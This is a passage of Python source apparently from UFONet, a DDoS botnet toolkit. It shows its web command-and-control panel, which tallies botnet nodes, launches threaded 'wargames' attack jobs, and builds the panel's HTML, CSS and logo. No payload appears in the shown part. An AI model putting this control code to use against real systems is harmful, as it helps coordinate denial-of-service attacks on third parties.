  1485. self.list_rpcs = []
  1486. for rpc in self.rpcs:
  1487. t = urlparse(rpc)
  1488. name_rpc = t.netloc
  1489. if "www." in name_rpc:
  1490. name_rpc = name_rpc.replace("www.","")
  1491. self.list_rpcs.append(name_rpc)
  1492. self.num_rpcs = str(len(self.rpcs))
  1493. f.close()
  1494. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1495. f = open(self.wargames_file, "r")
  1496. ls = f.readlines()
  1497. f.close()
  1498. self.supply_wargames = 0
  1499. self.wargames_engage_list = []
  1500. for l in ls:
  1501. if "!!!" in l:
  1502. self.wargames_engage_list.append(l)
  1503. self.supply_wargames = self.supply_wargames + 1
  1504. if self.supply_wargames > 0:
  1505. if self.supply_wargames == 1:
  1506. c_supply = "wargame"
  1507. else:
  1508. c_supply = "wargames"
  1509. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1510. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1511. else:
  1512. self.current_tasks = ""
  1513. self.options = UFONetOptions()
  1514. self.pages = {}
  1515. self.pages["/header"] = """<!DOCTYPE html><html>
  1516. <head>
  1517. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1518. <meta name="author" content="psy">
  1519. <meta name="robots" content="noindex, nofollow">
  1520. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1521. <title>UFONet - [ C&C/DarkNet ]</title>
  1522. <script language="javascript" src="/lib.js"></script>
  1523. <script language="javascript" src="js/stars.js"></script>
  1524. <style>
  1525. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1526. </style>"""
  1527. self.pages["/footer"] = """</center></body>
  1528. </html>
  1529. """
  1530. self.pages["/ufonet-logo.png"] = base64.b64decode("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